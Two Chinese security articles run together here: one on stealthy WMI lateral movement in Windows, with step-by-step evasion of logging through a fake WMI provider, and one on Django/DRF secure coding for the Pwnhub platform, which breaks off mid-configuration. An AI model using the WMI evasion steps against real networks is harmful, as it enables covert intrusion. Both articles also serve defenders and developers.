WMI包含表示元素的类，例如系统注册表、进程、线程和硬件组件。
我们可以通过发出WQL查询来列举出由类表示的组件实例，这些查询是使用WQL（类似SQL）语言编写的，也可以通过诸如PowerShell CIM / WMI
cmdlet的抽象。此外，也可以在类和实例上调用方法，从而使用WMI接口来操纵底层的托管组件。
WMI的一个重要特性是能够使用DCOM或WinRM协议与远程机器的WMI模块进行交互。这样一来，就使得攻击者可以远程操作主机上的WMI类，而无需事先运行任何代码。
## WMI的主要组件
WMI由三个主要组件组成：
1、WMI服务（winmgmt）充当客户端与WMI模型本身之间的中间人，负责处理来自客户端进程的所有请求（方法调用、查询等）。虽然其自身不能处理大部分请求，但它能够将请求转发给其他组件，并将其响应转发回客户端。
2、WMI提供程序（WMI Providers）是用于实现代码实现类、实例和方法。提供程序大多是作为进程内COM对象来实现的。
3、WMI存储库是模型的中央存储区域，其中包含类定义和需要持久化的对象实例（与提供程序动态生成的实例相对）。
在了解WMI主要的组件之后，我们来考虑经典WMI横向移动技术的场景。当一个本地或远程客户端试图调用Win32_Process的Create方法时，会向WMI服务发送这个行为的请求，然后查询存储库，确定其提供程序为CIMWin32。然后，WMI服务将请求转发给提供程序，该提供程序创建一个新进程并将表示该进程的Win32_Process实例返回给该服务，并将该实例发送回客户端。如果想了解更多关于WMI安全性的内容，建议阅读这篇文章：
<https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf> 。
由于这种横向移动的方法是非常经典的，所以目前很多安全产品都会对这种方式进行检测。因此，攻击者也在基于这种最经典的技术不断改进，研究出其他利用WMI进行横向移动的方法。
## WMI横向移动的其他方案
### 派生类
尽管从严格意义上来说，这不是一种新的横向移动方法，但这种技术不需要攻击者与常常会被监控的Win32_Process::Create方法直接进行交互。攻击者可以远程创建一个新类，从已有的类（例如Win32_Process）继承，并调用新类中的方法（或者创建实例），而不直接调用可能会引起怀疑的方法，具体如下所述：
1、创建Win32_Process的子类Win32_NotEvilAtAll，该过程可以通过WMI远程进行；
2、新类继承父类的所有方法；
3、调用新定义类中的“Create”方法。
下图是我们编写的Invoke-WmiLm脚本中的部分内容，我们使用Derive和Put方法，在远程主机上创建了Win32_Process的子类，并调用了新定义类的Create方法。
现在，让我们看看WMI-Activity ETW提供程序的事件，初步看来我们已经避免了直接使用Win32_Process：
实际上，事件11的所有实例都体现了向WMI服务发出的请求，但其中并没有Win32_Process类的痕迹。我们在这里看到了希望，但经过仔细观察，我们发现这种规避方法还存在不完美之处：
为什么在这里仍然会显示Win32_Process::Create呢？
其原因在于，尽管我们用相同的“Create”方法创建了一个新类，但我们实际上没有向目标主机引入任何新代码。这也就意味着该方法会在相同提供程序的环境中执行。WMI-Activity提供程序的事件12体现了WMI服务与WMI提供程序之间的通信，并且展示了谁是真正实现了方法执行请求的提供程序。
其中，有一种非常不一样的检测方法，就是WMI自检。WMI提供了一个全面的事件管理系统，同时也有一些非常有用的事件来对自己实现监控。在这样的事件中，会描述主机上的所有WMI方法调用。
从上图中可以看出，MSFT_WmiProvider_ExecMethodAsyncEvent_Pre并不描述客户端请求的方法，而是再次描述了提供程序实现的真实方法，我们采用的逃避技术并没有对其奏效。
尽管这种技术并不像我们所希望的那样，能实现对WMI方法调用的混淆，但该方法仍然适用于不需要使用方法（例如事件订阅）的情况下，这样在所有事件中显示的就是派生类的名称，而不是原始名称。
另外，我们还尝试了“类克隆”的方式，通过滥用WMI类的层次结构来逃避被记录。该方法需要选定一个目标类，并且定义了一个新的目标类，与目标共享所有成员和层次结构。根据我们的推测，这种方法的逃避监测效果更好，因为我们的新类并不是目标的子类。然而，在WMI服务中，我们无法找到克隆类中定义的方法的实现，因此该方案就变得不太可行。
## WMI修改经典技术
如果我们能使用WMI执行常见的横向移动任务（例如替换PSEXEC），那么就会改变攻击者的行为，从而足以逃避相关的监控。下面是该技术的几个示例。
### 服务创建
远程服务创建（通常使用PSEXEC工具）大概是Windows环境中最常见的横向移动方法，该方法也可以在WMI中实现。
Win32_Service类表示一台主机上的单个服务，并且公开了Windows服务管理器（sc.exe工具）几乎所有的功能。
我们快速了解一下Win32_Service方法，该方法让类可以轻松地在目标主机上对服务进行操作。这样就足以实现攻击者通常借助服务进行横向移动的全过程：创建、启动、停止、删除。
Win32_Service并不是唯一能够执行这些操作的WMI类，还有以下几个类可以替代使用：
Win32_Service
Win32_BaseService
Win32_TerminalService
Win32_SystemDriver
当我们使用PSEXEC、sc.exe或其他常用的远程服务管理工具时，是通过DCERPC借助于MS-SCMR协议进行的通信。即使在该协议中使用了最强的加密级别，也还是可以通过对网络流量的监控来确定出执行了哪些类型的操作（例如服务创建、服务启动等）。
另一方面，如果使用WMI进行相同的动作，其监控结果完全不同：
尽管仍然基于DCERPC，但所有WMI
DCOM方法调用都是通过一个接口完成的，并且在与“数据包隐私”级加密结合使用时，只能监控到某些WMI方法被调用。当通过WINRM协议执行时，WMI流量看起来像是HTTP流量，并且与经过SVCCTL接口时完全不同。这就意味着，WMI技术有效逃避了所有通过网络流量签名来检测横向移动的防范方式。
### 旧版本的计划任务创建
WMI还提供了一种与旧版本的（at.exe）Windows任务调度机制进行交互的方法。具体是通过Win32_ScheduledJob类完成的。
这个类允许创建、删除和枚举（通过枚举类实例，而不是使用专门的方法）计划任务。而at.exe实用程序以及这个类的功能在Windows
8及更高版本中都已不再使用。无法强制执行某项任务的问题在这里迎刃而解（就像使用经典技术一样），我们只需将任务安排在注册后几秒钟运行即可。
### 新版本的计划任务创建
我们可以利用的另一种机制就是新版本的Windows任务调度程序（Windows Task
Scheduler），通常使用schtasks.exe实用程序进行交互。用这种方式创建的计划任务由ScheduledTaskProv提供程序下的PS_ScheduledTask及其相关类表示。
PS_ScheduledTask类允许客户端使用自定义操作创建、删除和运行任何的计划任务。实际上，在Windows
8及更高版本系统中，允许使用计划任务命令行，并可以在后台使用这些WMI类。这样一来，攻击者可以滥用这些命令，以逃避各种IDS检测。需要注意的是，尽管新的任务调度程序在Windows
7中就已经出现，但ScheduledTaskProv提供程序只适用于Windows 8系统以上。
### 滥用Windows Installer
Windows Installer提供程序公开了一个名为Win32_Product的类，该类表示由Windows
Installer（msiexec）安装的应用程序。这个类可能允许攻击者在目标计算机上运行恶意msi包。
Win32_Product中的Install方法允许从路径或URL安装msi包。并且，很可能其中的Admin和Upgrade方法也同样可以。攻击者可以使用Metasploit制作包含恶意Payload的软件包：
虽然Metasploit允许将可执行文件打包为msi文件，但包格式还允许嵌入vbscript和jscript有效内容，使得msi成为一个相当通用的有效载荷容器。
我们尝试了通过“msiexec
/y”命令，想要从命令行注册一个dll文件，希望借此实现对Win32_Product的滥用，但这次尝试并不成功，似乎这种方法不适用于WMI。此外，我们还尝试劫持注册表中的uninstaller命令行字段，然后使用Win32_Product中的Uninstall方法运行这些命令，但结果也宣告失败。
将UninstallString值更改为任意命令行并调用Uninstall方法，同样也不起作用。
### 恶意WMI提供程序加载
如上所述，大多数类实例和方法都是在WMI提供程序中实现的。这意味着，可以通过加载自定义提供程序来实现代码执行。在Alexander
Leary最近的一次演讲中，他讲解了一种在远程计算机上注册WMI提供程序的方法，该方法仅使用WMI函数，无需事先运行任何命令行。这种技术的缺点之一是需要真正实现，并且需要将真正（恶意）WMI提供程序DLL传到目标主机上。在本文中，我们不重点关注成功用作WMI提供程序的代码，只关注对其的加载过程。下面是将任意命令行作为WMI提供程序运行所需的步骤：
首先，创建一个COM对象。WMI提供程序大多是作为进程内COM对象来实现的，但是我们现在想运行一个任意命令行，所以要编写一个进程外COM对象并注册，将其作为我们的基础提供程序。
接下来，我们需要对提供程序本身进行注册。为此，需要在远程主机上创建一个用于注册WMI提供程序的 **Win32Provider类的实例。
在我们想要创建的**Win32Provider实例中，有三个重要的字段：
1、Name，提供程序的可读名称，这将允许我们后续对其进行引用；
2、CLSID，我们新创建的COM对象的类ID；
3、HostingModel，此字段表示如何加载COM对象。其中，“NetworkServiceHost”表示将COM对象作为库加载到“Network
Service”用户下的特殊主进程中；“LocalSystemHost”表示将作为库加载到在System用户下的主进程中运行；“SelfHost”表示将尝试在System用户下作为独立的可执行文件加载。
在这里，由于我们想要执行任意命令行，所以希望将提供程序作为可执行文件运行。
通常情况下，提供程序都是当其实现的某个类和方法被调用或查询时，按需进行加载的。方法和实例提供程序的注册是通过
**MethodProviderRegistration和**
InstanceProviderRegistration类完成的。但我们的任意可执行文件显然不能实现这样的功能。幸运的是，MSFT_Providers类（用于列举已加载的WMI提供程序）有一个名为“Load”的方法，它允许我们加载任何WMI提供程序，不管是否真正需要。
此外，当操作系统在命令运行后第一次对我们的COM对象实际上是否实现WMI提供程序进行检查时，似乎允许我们执行明显假冒的提供程序。在这里，需要注意一点，如果使用SelfHost主机模型注册WMI提供程序，会向事件日志中写入警报，其描述为“创建敏感提供程序”，其原因在于它使用了System权限运行。该日志写入可以通过使用NetworkServiceHostOrSelfHost模型来避免，该过程首先会尝试将提供程序加载为一个库（从而可以跳过注册过程），并且当加载失败时（因为实际上并没有要加载的库），尝试将提供程序作为可执行文件加载，而在其中就包括我们提供的命令行。
回顾一下，我们可以使用以下步骤，将恶意命令行加载为WMI提供程序：
1、在HKLM/SOFTWARE/Classes/CLSID/{SOMEGUID}下创建一个新密钥（注册表操作可以通过StdRegProv
WMI提供程序完成）。
2、添加一个LocalServer32的子项，其中包含任何你想运行的命令行的“默认”值（例如一些不错的PowerShell编码命令）。
3、创建__Win32Provider类的新实例，将我们的CLSID作为CLSID字段，并将NetworkServiceHostOrSelfHost作为HostingModel。
4、使用我们新创建的提供程序的名称调用MSFT_Providers类的Load方法
5、成功实现不被监测到的远程执行。
## 检测方式与结论
虽然这些技术相对未知，并且通常不会被大多数安全产品检测到，但Windows提供了有关WMI功能的充分信息，可以实现上述每种技术的检测。 WMI-Activity ETW提供程序和WMI事件处理系统都能够深入了解所有WMI方法调用及实例创建和查询，这些信息足以确定是否调用了任何敏感的WMI功能。
尽管我们讨论的这些技术，实际上都有相应的记录机制，但由于相关事件发生的频率较低，监控机制没有办法详细记录其中的每个操作。为了防止采用这种攻击方式的横向移动，我们建议防护者综合考虑上述所有技术，制定防范策略，同时建议防护者深入了解WMI，以此来防范攻击者利用上述技术以及其他许多滥用这一特性的技术。 | 社区文章 |
首发长亭技术专栏：https://zhuanlan.zhihu.com/chaitin-tech
[作者：phithon，现就职于长亭科技，参与Pwnhub的开发与运营，长期关注并笔耕于安全编码、代码审计等方向]
Pwnhub（ [pwnhub | Beta](http://link.zhihu.com/?target=https%3A//pwnhub.cn/)
），中文解释‘破解中心’，谐音胖哈勃，一个以各种安全技术为内容的竞赛平台。从去年12月初上线到现在，已经稳定运行了4个月，主办了10场比赛。作为一篇安全技术向的文章，我们不谈情怀，不谈运营，单说说Pwnhub的开发，我遇到过哪些（安全）暗坑，以及怎么去规避。
本文主要从微信模块安全、API安全、权限控制、前端安全、商城逻辑安全、运维安全等几个方面来介绍Django的安全编码。
由于我们公司的 Web 技术栈是 Vue+Django，采用纯 SPA 异步通信模式，选型上自然没有任何难度，很快前后端配合开始了工作。
## **微信模块安全**
Django框架的优势之一就是其自带的用户模块，我们可以用少量代码搭建整体用户逻辑，包括用户登录、找回密码、权限控制等。但因为Pwnhub在选型的时候就确定使用微信登录，所以用户逻辑方面势必需要进行一些改造。
我的做法是前台砍掉Django的用户登录大部分所有逻辑，包括：注册、登录、找回密码、修改密码，仅留下一个退出登录，然后自己做了微信登录相关的代码逻辑。
任何一个与微信相关的应用，想保证与微信间的通信，需要注意以下4个变量：
1. 应用ID AppID
2. 应用密钥 AppSecret
3. 通信令牌 Token
4. 消息加密密钥 EncodingAESKey
其中，必须配置的前三者，后者可以不用配置；必须保密的是后三者，前者可以公开。
应用IDAppID和应用密钥AppSecret是我们服务器和微信服务器通信的凭证。举个例子，因为Pwnhub需要扫码登录，所以我得向微信服务器提出这个需求，并拿到二维码图片。那么，微信服务器信任这个请求的前提就是我需要带上access_token访问，而access_token是一个临时凭证（有效期2小时），拿到这个临时凭证的方式就是利用AppID和AppSecret。
AppID是告诉微信服务器“我是谁”，而AppSecret是证明我是“这个人”的凭证，微信确认了这二者的对应关系后，就会给我发放一张有效期为2小时的“通行证”。以后出入微信服务器都应该带上这个通行证，也就是access_token；如果过期，用相同的方法再次获取。
通信令牌Token是微信服务器访问我们服务器的凭证。这就涉及到HTTP协议的特点，因为HTTP协议是一个无状态的协议，所以，虽然我向微信服务器证明了我是谁，但是并不能建立一个“通信通道”，所以当微信服务器需要访问我的时候，我还需要验证他的身份。
Token相当于是一个签名密钥，微信服务器在访问我之前，会生成一个随机数，并和当前时间戳、Token一起使用sha1签名后发送给我的服务器。我需要对其进行校验，如果签名不正确的会就返回错误。
消息加密密钥EncodingAESKey是微信后来推出，以确保通信信息不被中间人窃取的方式。因为微信公众号使用者的服务器不一定配置了https，所以通信过程中可以选择使用EncodingAESKey来加密消息内容。
举个例子，用户、Pwnhub与微信服务器间通信流程如下：
这个过程存在着几个经常被开发者忽视的问题：
* AppSecret、Token泄露
* timestamp不进行验证，导致的信息永不过期
* 服务端没有配置HTTPS，且EncodingAESKey不设置，导致中间人劫持
AppSecret、Token泄露是老问题了，很多开发者将自己的代码直接上传到github等第三方代码托管平台，而没有删除此类敏感信息；即使用户及时发现并删除了信息，git的特性也导致攻击者可以在以往提交的记录中找到这些信息。好在AppSecret和Token都能重置，一旦发现有泄露的情况，第一步应该是重置这两个配置。
时间戳不验证，这个问题在微信公众号示例代码中就存在：
<?php
...
public function decryptMsg($msgSignature, $timestamp = null, $nonce, $postData, &$msg)
{
if (strlen($this->encodingAesKey) != 43) {
return ErrorCode::$IllegalAesKey;
}
$pc = new Prpcrypt($this->encodingAesKey);
//提取密文
$xmlparse = new XMLParse;
$array = $xmlparse->extract($postData);
$ret = $array[0];
if ($ret != 0) {
return $ret;
}
if ($timestamp == null) {
$timestamp = time();
}
$encrypt = $array[1];
$touser_name = $array[2];
//验证安全签名
$sha1 = new SHA1;
$array = $sha1->getSHA1($this->token, $timestamp, $nonce, $encrypt);
$ret = $array[0];
if ($ret != 0) {
return $ret;
}
$signature = $array[1];
if ($signature != $msgSignature) {
return ErrorCode::$ValidateSignatureError;
}
$result = $pc->decrypt($encrypt, $this->appId);
if ($result[0] != 0) {
return $result[0];
}
$msg = $result[1];
return ErrorCode::$OK;
}
可见，验证安全签名相等以后就直接解密，那么，时间戳timestamp就没有任何意义了。正确的做法应该是，在验证签名相等的同时，检查当前时间和时间戳的差是否在一定范围内。
EncodingAESKey是保证服务器和微信公众号之间的通信不被第三方监听。如果你得服务器没有配置HTTPS证书，就应该正确配置该值。
除此之外，由于微信公众号是用XML进行通信，所以难免会遇到XML安全相关的问题：虽然保证Token不泄密的情况下，第三方用户无法对服务器进行请求；但极端情况下，我们是不应该相信任何用户的输入，即使该用户是微信服务器。
XXE等XML中常见的安全问题我就不多说了，我使用Python的模块defusedxml（ [defusedxml
0.5.0](http://link.zhihu.com/?target=https%3A//pypi.python.org/pypi/defusedxml)
）来确保XML解析时候的安全。
## **API安全**
由于是前后端分离项目，Pwnhub前台部分全部使用API通信。API安全是Pwnhub整体安全的重中之重，应该API的通信可以看做是动作和数据的交换，一旦有没有配置好的部分，将可能导致水平权限绕过和信息泄露等漏洞。
Pwnhub后端使用Django-Rest-Framwork开发（后文用DRF简称），DRF是一个基于Django的API扩展库，我们通过其内置的Serializer概念，即可很方便地控制Model中“我想让用户看到的属性”和“用户可以控制的属性”。
前段时间，有个朋友来问我，DRF的Serializer会不会导致反序列化相关的漏洞。其实很多人误会了此处Serializer的角色，虽然它有这样一个容易被人误解的名字，但Serializer实际作用和原生Django中的Form类似，主要作用是控制用户输入的内容，并进行校验。但有一个不同点是，Serializer还能控制输出信息的范围。
我们可以把Serializer理解为一个Model和View之间的媒介，View将用户输入的信息发送给Serializer，Serializer进行筛选和校验，成功后发送给Model，保存进数据库；Model从数据库中取出信息交给Serializer，Serializer进行筛选，只显示开发者允许显示的内容，并交给View，Views显示出来。
在代码中，我们通过在Serializer里定义fields，来限制允许显示或修改的属性：
class UserSerializer(ModelSerializer):
class Meta:
model = User
fields = [
'id', # 用户id
'username', # 用户名
'email', # 邮箱
'password', # 密码
'rank', # 积分
'coin', # 金币
'mugshot', # 头像
'tag', # 用户擅长方向
'introduction', # 个人介绍
'signature', # 签名
'date_joined' # 注册时间
]
read_only_fields = [
'id',
'username',
'email',
'rank',
'coin',
'date_joined'
]
上述代码是一个简单的用户Model对应的Serializer，可见，我通过定义fields，列出程序需要的有哪些字段；再通过定义read_only_fields，来限制哪些是只读字段。
也就是说，用户id、用户名、邮箱、用户积分、金币和注册时间是不允许修改的。
但上述代码有一个很明显的问题：虽然限制了哪些字段是只读的，但没有限制哪些字段是只写的。
如果使用DRF的内置View，在每次创建或更新一个Model对象后，会自动显示修改后的Serializer，也就是fields里所有的字段值。但实际上有些字段是不太适合显示的，比如password，这个字段应该定义为“只可写而不允许读”：
extra_kwargs = {
'password': {'write_only': True}
}
这个细节是开发很容易忽视的，如果设计不好，将很可能导致类似前几天Gitlab出现的任意用户敏感信息泄露漏洞（CVE-2017-0882）。
不过，DRF里定义write_only和read_only的方式确实比较奇葩，read_only有简单写法read_only_fields，但write_only则没有。
## **权限控制**
DRF有一套自定义性很高的鉴权机制。
因为其为一个API框架，所以面向的前端可能是浏览器，也可能是手机APP，所以常规Web中以Cookie和Session授权的方法就不一定有效了。
DRF内置了三种授权（authentication）方法：HTTP基础认证、Session、Token。HTTP基础认证适合于纯浏览器的前端环境，Session适合于浏览器或基于浏览器内核的应用程序，Token适合无浏览器环境的应用程序。
用户也可以定义自己的授权方法，并任意搭配它们。举个例子，Pwnhub现在使用的是Session进行授权，以后如果要开发手机App，可能会增加基于Token的授权方法。
通过授权方法，DRF给每个请求标记上一个用户（未登录的用户被称为匿名用户AnonymousUser），但该用户是否有权限访问某个API，这就得问“许可模块”（Permission）了。
也就是说，Authentication模块只负责给请求“发通行证”，Permission模块负责检查这个“通行证”是否有权限访问某个地点。
不同的API
View可以选择使用不同的Authentication和Permission，根据自己需要的访问权限任意搭配，也可以使用全局默认值。Pwnhub前台权限很简单，用Session授权，并只有两种Permission：登录用户和匿名用户，所以配置起来也比较简单。
另外，权限方面DRF还提供了一个更高级的模块：Throttling。使用这个模块，即可定义某个“用户”访问某个API的频度。举个例子，某视频网站允许每个免费用户每天观看5个视频，就需要经过如下步骤：
Authentication:Session认证 --> Permission:是否是已登录用户 --> Permission:是否是免费用户 -->
Throttling:是否已观看5个视频 --> View:返回视频地址
当然，Pwnhub的功能暂时还没有这么复杂。
## **前端安全**
前端安全是不可绕过的一个话题。近年来前后端分离的开发模式一定程度上减少了后端代码直接输出用户输入导致的XSS等前端漏洞，但同时也催生了一种新的攻击方式：在前后端没有完全分离的情况下，将可能出现“客户端模板注入漏洞”（Client-Side Template Injection ）。
这种攻击方式可以参考这篇文章（ [XSS without HTML: Client-Side Template Injection with
AngularJS](http://link.zhihu.com/?target=http%3A//blog.portswigger.net/2016/01/xss-without-html-client-side-template.html)
），本文就不对其进行介绍了。本文从4个切入点来说说Pwnhub可能面临的前端漏洞。
**XSS in Vue**
Pwnhub前端基于Vue框架，开发者可以通过数据绑定的方式，很容易地在前端显示从后端获取的数据，而且这个过程是相对安全的：因为在将数据输出到模板的时候，Vue默认会将数据识别为纯文本，而非HTML代码。
但并不是所有位置的输出都适合纯文本，也不是所有程序员都能正确理解他需要编写的逻辑。
举个例子，如果产品经理希望用户评论能包含图片、超链接，那么前端页面在输出评论内容的时候就不能对其进行转码。在Vue中需要使用v-html指令：
<div v-for="comment in $store.state.comments" :key="comment.id">
{{ comment.username }}: <div v-html="comment.content"></div>
</div>
见上述代码，comment.username是评论者名称，它被包裹在双大括号内，默认识别为纯文本；而comment.content放在v-html指令中，将会被识别为HTML代码。那么，一旦用户提交恶意HTML评论，后端没有处理的情况下，将造成XSS漏洞。
如果你有这个需求，可以使用我编写的python-xss-filter（ [phith0n/python-xss-filter](http://link.zhihu.com/?target=https%3A//github.com/phith0n/python-xss-filter) ）在后端对评论内容进行处理。
**XSS in Django**
由于Python运行模式的特殊性（由某一入口点统一进入），上传文件后缀通常也不会卡的太死，只要不覆盖到程序本身的py文件，都不会有太大问题。所以，Django本身很多操作默认是不检查后缀的，比如我们定义一个model，其中包含一个ImageField()：
class Attachment(models.Model):
name = models.CharField('名称', blank=True, null=True, max_length=256)
photo = models.ImageField('图片', blank=True)
...
很多人认为，ImageField是Django提供的图片字段，按理说Django自己应该已经做了细致的检查。但实际上Django只检查用户上传的文件内容是否是图片，而不会检查文件后缀是否是图片后缀。
但服务器中间件和浏览器并不会根据文件内容来判断一个文件的mime_type，而是根据后缀。所以，我只需要上传一个文件内容符合GIF格式，而后缀是.html的文件，即可构造一个XSS漏洞。
访问a.html，成功执行：
假如当前服务器支持SSI或PHP等语法，那么这个问题可能更会上升成一个服务端漏洞。
解决这个问题的方法是，在ImageField字段上增加validators，如photo =
models.ImageField('图片',validators=[check_image_extension], null=True,
blank=True)，check_image_extension函数里对文件后缀进行检查即可。
**CSRF漏洞**
CSRF漏洞在Django中有默认的检查：所有POST, PUT, PATCH和DELETE请求都会检查CSRF Token。但Django对CSRF
Token检查机制是，将Cookie中的Token和表单或HTTP头中的Cookie进行比对，以避免请求被恶意伪造。
这就和DRF的设计理念有些出入了：DRF面向的前端可以是浏览器，也可能不是浏览器，Cookie并不是一个必要的值。
所以，DRF在APIView中强制关闭了Django原生的CSRFCheck（csrf_exempt(view)）：
class APIView(View):
...
@classmethod
def as_view(cls, **initkwargs):
"""
Store the original class on the view function.
This allows us to discover information about the view when we do URL
reverse lookups. Used for breadcrumb generation.
"""
if isinstance(getattr(cls, 'queryset', None), models.query.QuerySet):
def force_evaluation():
raise RuntimeError(
'Do not evaluate the `.queryset` attribute directly, '
'as the result will be cached and reused between requests. '
'Use `.all()` or call `.get_queryset()` instead.'
)
cls.queryset._fetch_all = force_evaluation
view = super(APIView, cls).as_view(**initkwargs)
view.cls = cls
view.initkwargs = initkwargs
# Note: session based authentication is explicitly CSRF validated,
# all other authentication is CSRF exempt.
return csrf_exempt(view)
并将CSRF检查放在了SessionAuthentication中，TokenAuthentication和BasicAuthentication中是没有CSRF检查的。（当然也不需要检查，因为Token或401账号密码都是攻击者不能获取的）
如果是开发者自己定义Authentication，那么CSRF验证这块就需要格外注意了。
另外，DRF只检查登录用户的CSRF
Token，这个特点在大部分情况下都没有问题，因为非登录用户也基本不存在请求伪造的必要了。但有一种情况，就是用户登录的操作，我们需要手工给这些方法加上@method_decorator(ensure_csrf_cookie)用来生成CSRF
Token，并进行手工检查（如果你使用Django自带的login view并开启了CSRF全局校验，就无需手工检查了）。
Pwnhub会在前端获取Cookie中的CSRF Token，并附加到所有HTTP请求中，以保证正常的流程不会被拦截。
**Json Hijacking**
后端API返回中可能包含一些敏感信息，那么，如何在前端保证这些数据不被其他人窃取？
理论上，浏览器的跨域原则足够防御这一类攻击了，但是如果后端返回的数据被浏览器“错误”地认为是一个合法的JavaScript或css数据，那么就可能造成信息泄露攻击了，这也是Jsonp劫持等很多跨域漏洞的原理。
DRF在输出层，提供了一个叫Renderer的概念，也就是输出数据的渲染方式。通常在开发环境下，为了调试方便，我会使用BrowsableAPIRenderer，这个渲染方式会提供一个Web页面用来输入和显示数据：
但如果需要和前端配合使用的时候，就需要用到JSONRenderer了。它会将Serializer输出的数据转换成Json再返回给前端框架：
见上图，虽然实际我们需要传递的数据是一个数组["PWN","REVERSE","CRYPTO","MISC","WEB"]，但Pwnhub对数据进行了一层包裹，那么这层包裹对改进安全性上有什么帮助？
这就涉及到Json劫持漏洞了（区分json劫持和jsonp劫持）。众所周知，Json是可以被JavaScript原生支持的，所以，如果我们使用`<script>`标签去加载我们的API返回结果，将会有一些奇妙的反应：
1. 如果Json API返回的是一个对象，将抛出Uncaught SyntaxError: Unexpected token :异常，因为浏览器会认为它并不是一个合法的JavaScript对象（为什么？）
2. 如果Json API返回的是一个数组，浏览器将不会抛出异常
所以，如果我返回了第二种情况，攻击者通过对JavaScript数组对象的劫持，将可能可以窃取数组中的数据。
关于最新版浏览器的JSON Hijacking，可以参考这篇文章： [JSON hijacking for the modern
web](http://blog.portswigger.net/2016/11/json-hijacking-for-modern-web.html)
Django自带的JsonResponse默认会检查用户传入的数据是否是一个字典，因为只有字典对应到Json中才是对象，相对安全：
class JsonResponse(HttpResponse):
"""
An HTTP response class that consumes data to be serialized to JSON.
:param data: Data to be dumped into json. By default only ``dict`` objects
are allowed to be passed due to a security flaw before EcmaScript 5. See
the ``safe`` parameter for more information.
:param encoder: Should be an json encoder class. Defaults to
``django.core.serializers.json.DjangoJSONEncoder``.
:param safe: Controls if only ``dict`` objects may be serialized. Defaults
to ``True``.
:param json_dumps_params: A dictionary of kwargs passed to json.dumps().
"""
def __init__(self, data, encoder=DjangoJSONEncoder, safe=True,
json_dumps_params=None, **kwargs):
if safe and not isinstance(data, dict):
raise TypeError(
'In order to allow non-dict objects to be serialized set the '
'safe parameter to False.'
)
if json_dumps_params is None:
json_dumps_params = {}
kwargs.setdefault('content_type', 'application/json')
data = json.dumps(data, cls=encoder, **json_dumps_params)
super(JsonResponse, self).__init__(content=data, **kwargs)
如上，safe默认为True，在这种情况下，data必须为dict。
## **商城逻辑**
2017年3月初，Pwnhub上线了一个简单的商城功能，参与比赛的用户可以用自己在比赛中获得的积分兑换礼品。新功能的上线，势必引入新的安全威胁，因为Pwnhub的商城交易纯属虚拟货币逻辑，并不复杂，所以除了传统的水平权限漏洞以外，商城逻辑中最容易被忽视的漏洞其实是条件竞争。
条件竞争漏洞已经多次发生在我们周围了，最近一次是小密圈在2017年2月下旬出现的用户超额提现的问题（ [小密圈产品事故@2017
No.2](http://link.zhihu.com/?target=http%3A//blog.xiaomiquan.com/%3Fp%3D609)
）。
Pwnhub商城中可能出现条件竞争漏洞的地方有两处：
1. 用户购买某商品时，余额判断后的条件竞争
2. 用户购买多件商品时，商品数量判断后的条件竞争
有的同学可能还不太理解一个商城购买商品的逻辑，我以Pwnhub为例画了个简图：
所以，上述逻辑攻击者有两种攻击方式：
1. 某一个用户同一时间对不同商品发送多次购买请求，这些请求都通过了“用户余额判断”，该用户余额被扣成负数，相当于使用它没有的钱购买了多件商品
2. 不同用户同一时间对同一商品发送多次购买请求，这些请求都通过了“商品剩余数量判断”，结果导致商品数量被买成负数，相当于买到了无货的商品
举个例子，A用户拥有10个金币，刚好购买价值8金币的商品B。这种情况下，A用户开启10个线程同时发送购买商品请求，在数据库尚未修改的情况下，这10个请求均发现A的余额是足够购买B商品的，然后扣除8金币并成功下单。此时A用户的金币数量为10
- 8 * 10 = -70，但10个订单均已经成功支付了。
针对类似的攻击，大部分数据库通常都提供了某个记录加锁的功能，也就是在查询某条记录的时候使用SELECT FOR UPDATE，在Django
ORM里使用.select_for_update()语法。
with transaction.atomic():
# 获取用户和商品对象
user = User.objects.select_for_update().get(pk=self.request.user.pk)
gift = Gift.objects.select_for_update().get(pk=serializer.validated_data['gift'].pk)
# 检查用户余额和商品数量
serializer.atomic_validate(user, gift)
# 下订单
order = serializer.save(user=self.request.user)
# 扣除用户余额
user.coin -= order.cost
user.save()
# 扣除商品数量
gift.amount -= order.amount
gift.save()
另外，商城逻辑容易出BUG的地方还有几个点：
1. 下单和支付逻辑不同步的问题
2. 购买商品数量是负数的情况
3. 前端传入商品价格的情况
第一个问题基本不存在了，因为Pwnhub是前后分离，下单操作可以在前端完成，后端只要接收到“购买（支付）”请求，就立马扣款。
第二、三个问题，我们在Serializer中对其进行校验即可：
class BuySerializer(serializers.ModelSerializer):
amount = serializers.IntegerField(label='数量', min_value=1, max_value=10)
class Meta:
model = models.GiftLog
fields = [
'order_no',
'gift',
'address',
'remark',
'amount',
]
read_only_fields = ['order_no']
解决第二个问题的方法是在IntegerField里增加min_value，解决第三个问题的方法是……fields中根本没有商品价格，因为商品价格是从gift对象的price中获取的。
## **上线前夕**
做了那么一大堆工作，如果部署的时候稍有不慎，可能前面的安全工作都白做了。
部署的时候应该从如下三个切入点考虑：
1. Django框架安全部署
2. Django-Rest-Framework框架安全部署
3. Web容器安全部署
**Django框架安全部署**
Django考虑的非常周到，在项目上线前，我们可以通过执行./manage.py check --deploy命令来查看可能存在的安全问题：
可见，默认生成的项目，存在以上安全问题，在部署前需要解决：
1. SECURE_HSTS_SECONDS 是否开启HSTS头，强制HTTPS访问
2. SECURE_CONTENT_TYPE_NOSNIFF 是否输出nosniff头，以防止类型混淆类漏洞
3. SECURE_BROWSER_XSS_FILTER 是否输出x-xss-protection头，让浏览器强制开启XSS过滤
4. SECURE_SSL_REDIRECT 是否让HTTP的请求强制跳转到HTTPS
5. SESSION_COOKIE_SECURE 是否将Cookie设置为Secure（不允许在HTTP中传输）
6. CSRF_COOKIE_SECURE 是否将CSRF Token Cookie设置为Secure（不允许在HTTP中传输）
7. CSRF_COOKIE_HTTPONLY 是否将CSRF Token Cookie设置为HTTP ONLY
8. X_FRAME_OPTIONS 是否返回X-FRAME-OPTIONS: DENY头，以防止被其他页面作为框架加载
9. DEBUG 是否开启调试模式
其中，DEBUG是必须要关闭的。其他的选项主要看你对安全的要求了，例如如果你得页面不强制使用HTTPS，那么其中的一些防止中间人劫持的选项就没必要设置。
另外，上线前，最好修改后台地址，如果你不需要使用Django自带的后台，可以在INSTALLED_APPS里将其移除。SECRET_KEY重新进行生成，不要和开发、测试环境相同：openssl
rand 10 -out .secret。
**Django-Rest-Framework框架安全部署**
前文已经说了，开发环境中DRF通常使用BrowsableAPIRenderer，但在部署到生产环境后，最好将这个Renderer移除，只保留我们需要用到的JSONRenderer：
REST_FRAMEWORK = {
